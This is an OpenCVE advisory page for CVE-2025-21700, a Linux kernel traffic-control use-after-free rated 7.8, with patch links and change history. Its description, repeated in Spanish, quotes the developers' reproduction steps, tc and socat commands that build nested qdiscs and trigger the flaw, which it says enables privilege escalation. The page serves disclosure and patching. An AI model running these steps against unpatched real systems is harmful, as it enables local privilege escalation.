CVE-2025-21700

  1. OpenCVE
  2. Vulnerabilities (CVE)
  3. CVE-2025-21700
In the Linux kernel, the following vulnerability has been resolved: net: sched: Disallow replacing of child qdisc from one parent to another Lion Ackermann was able to create a UAF which can be abused for privilege escalation with the following script Step 1. create root qdisc tc qdisc add dev lo root handle 1:0 drr step2. a class for packet aggregation do demonstrate uaf tc class add dev lo classid 1:1 drr step3. a class for nesting tc class add dev lo classid 1:2 drr step4. a class to graft qdisc to tc class add dev lo classid 1:3 drr step5. tc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024 step6. tc qdisc add dev lo parent 1:2 handle 3:0 drr step7. tc class add dev lo classid 3:1 drr step 8. tc qdisc add dev lo parent 3:1 handle 4:0 pfifo step 9. Display the class/qdisc layout tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 limit 1000p qdisc drr 3: dev lo parent 1:2 step10. trigger the bug <=== prevented by this patch tc qdisc replace dev lo parent 1:3 handle 4:0 step 11. Redisplay again the qdiscs/classes tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 1:3 root leaf 4: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p qdisc drr 3: dev lo parent 1:2 Observe that a) parent for 4:0 does not change despite the replace request. There can only be one parent. b) refcount has gone up by two for 4:0 and c) both class 1:3 and 3:1 are pointing to it. Step 12. send one packet to plug echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001)) step13. send one packet to the grafted fifo echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003)) step14. lets trigger the uaf tc class delete dev lo classid 1:3 tc class delete dev lo classid 1:1 The semantics of "replace" is for a del/add _on the same node_ and not a delete from one node(3:1) and add to another node (1:3) as in step10. While we could "fix" with a more complex approach there could be consequences to expectations so the patch takes the preventive approach of "disallow such config". Joint work with Lion Ackermann <nnamrec@gmail.com>

7.8 /10

CVSS v3 : HIGH

V3 Legend

Vector :

Exploitability : 1.8 / Impact : 5.9

Attack Vector LOCAL

Attack Complexity LOW

Privileges Required LOW

User Interaction NONE

Confidentiality Impact HIGH

Integrity Impact HIGH

Availability Impact HIGH

Scope UNCHANGED

References
Link Resource
https://git.kernel.org/stable/c/38646749d6e12f9d80a08d21ca39f0beca20230d Patch
https://git.kernel.org/stable/c/46c59ec33ec98aba20c15117630cae43a01404cc Patch
https://git.kernel.org/stable/c/73c7e1d6898ccbeee126194dcc05f58b8a795e70 Patch
https://git.kernel.org/stable/c/7e2bd8c13b07e29a247c023c7444df23f9a79fd8 Patch
https://git.kernel.org/stable/c/bc50835e83f60f56e9bec2b392fb5544f250fb6f Patch
https://git.kernel.org/stable/c/cd796e269123e1994bfc4e99dd76680ba0946a97 Patch
https://git.kernel.org/stable/c/deda09c0543a66fa51554abc5ffd723d99b191bf Patch
https://git.kernel.org/stable/c/fe18c21d67dc7d1bcce1bba56515b1b0306db19b Patch
Configurations

Configuration 1 (hide)

OR cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*
History

24 Mar 2025, 17:39

Type Values Removed Values Added
CPE cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*
First Time Linux linux Kernel
Linux
References () https://git.kernel.org/stable/c/38646749d6e12f9d80a08d21ca39f0beca20230d - () https://git.kernel.org/stable/c/38646749d6e12f9d80a08d21ca39f0beca20230d - Patch
References () https://git.kernel.org/stable/c/46c59ec33ec98aba20c15117630cae43a01404cc - () https://git.kernel.org/stable/c/46c59ec33ec98aba20c15117630cae43a01404cc - Patch
References () https://git.kernel.org/stable/c/73c7e1d6898ccbeee126194dcc05f58b8a795e70 - () https://git.kernel.org/stable/c/73c7e1d6898ccbeee126194dcc05f58b8a795e70 - Patch
References () https://git.kernel.org/stable/c/7e2bd8c13b07e29a247c023c7444df23f9a79fd8 - () https://git.kernel.org/stable/c/7e2bd8c13b07e29a247c023c7444df23f9a79fd8 - Patch
References () https://git.kernel.org/stable/c/bc50835e83f60f56e9bec2b392fb5544f250fb6f - () https://git.kernel.org/stable/c/bc50835e83f60f56e9bec2b392fb5544f250fb6f - Patch
References () https://git.kernel.org/stable/c/cd796e269123e1994bfc4e99dd76680ba0946a97 - () https://git.kernel.org/stable/c/cd796e269123e1994bfc4e99dd76680ba0946a97 - Patch
References () https://git.kernel.org/stable/c/deda09c0543a66fa51554abc5ffd723d99b191bf - () https://git.kernel.org/stable/c/deda09c0543a66fa51554abc5ffd723d99b191bf - Patch
References () https://git.kernel.org/stable/c/fe18c21d67dc7d1bcce1bba56515b1b0306db19b - () https://git.kernel.org/stable/c/fe18c21d67dc7d1bcce1bba56515b1b0306db19b - Patch

13 Mar 2025, 13:15

Type Values Removed Values Added
References
  • () https://git.kernel.org/stable/c/38646749d6e12f9d80a08d21ca39f0beca20230d -
  • () https://git.kernel.org/stable/c/cd796e269123e1994bfc4e99dd76680ba0946a97 -
  • () https://git.kernel.org/stable/c/fe18c21d67dc7d1bcce1bba56515b1b0306db19b -

21 Feb 2025, 14:15

Type Values Removed Values Added
References
  • () https://git.kernel.org/stable/c/deda09c0543a66fa51554abc5ffd723d99b191bf -
Summary
  • (es) En el kernel de Linux, se ha resuelto la siguiente vulnerabilidad: net: sched: No permitir el reemplazo de una qdisc secundaria de una primaria a otra Lion Ackermann pudo crear una UAF que se puede usar de forma abusiva para la escalada de privilegios con el siguiente script Step 1. create root qdisc tc qdisc add dev lo root handle 1:0 drr step2. a class for packet aggregation do demonstrate uaf tc class add dev lo classid 1:1 drr step3. a class for nesting tc class add dev lo classid 1:2 drr step4. a class to graft qdisc to tc class add dev lo classid 1:3 drr step5. tc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024 step6. tc qdisc add dev lo parent 1:2 handle 3:0 drr step7. tc class add dev lo classid 3:1 drr step 8. tc qdisc add dev lo parent 3:1 handle 4:0 pfifo step 9. Display the class/qdisc layout tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 limit 1000p qdisc drr 3: dev lo parent 1:2 step10. trigger the bug &lt;=== prevented by this patch tc qdisc replace dev lo parent 1:3 handle 4:0 step 11. Redisplay again the qdiscs/classes tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 1:3 root leaf 4: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p qdisc drr 3: dev lo parent 1:2 Observe that a) parent for 4:0 does not change despite the replace request. There can only be one parent. b) refcount has gone up by two for 4:0 and c) both class 1:3 and 3:1 are pointing to it. Step 12. send one packet to plug echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001)) step13. send one packet to the grafted fifo echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003)) step14. La semántica de "reemplazar" es para una eliminación/adición _en el mismo nodo_ y no para una eliminación de un nodo (3:1) y una adición a otro nodo (1:3) como en el paso 10. Si bien podríamos "arreglarlo" con un enfoque más complejo, podría haber consecuencias para las expectativas, por lo que el parche adopta el enfoque preventivo de "no permitir dicha configuración". Trabajo conjunto con Lion Ackermann

13 Feb 2025, 14:16

Type Values Removed Values Added
CVSS v2 : unknown
v3 : unknown 		v2 : unknown
v3 : 7.8
CWE CWE-416

13 Feb 2025, 12:15

Type Values Removed Values Added
New CVE
Information

Published : 2025-02-13 12:15

Updated : 2025-03-24 17:39

NVD link : CVE-2025-21700

Mitre link : CVE-2025-21700

CVE.ORG link : CVE-2025-21700

JSON object : View

Products Affected

linux

  • linux_kernel
CWE
CWE-416

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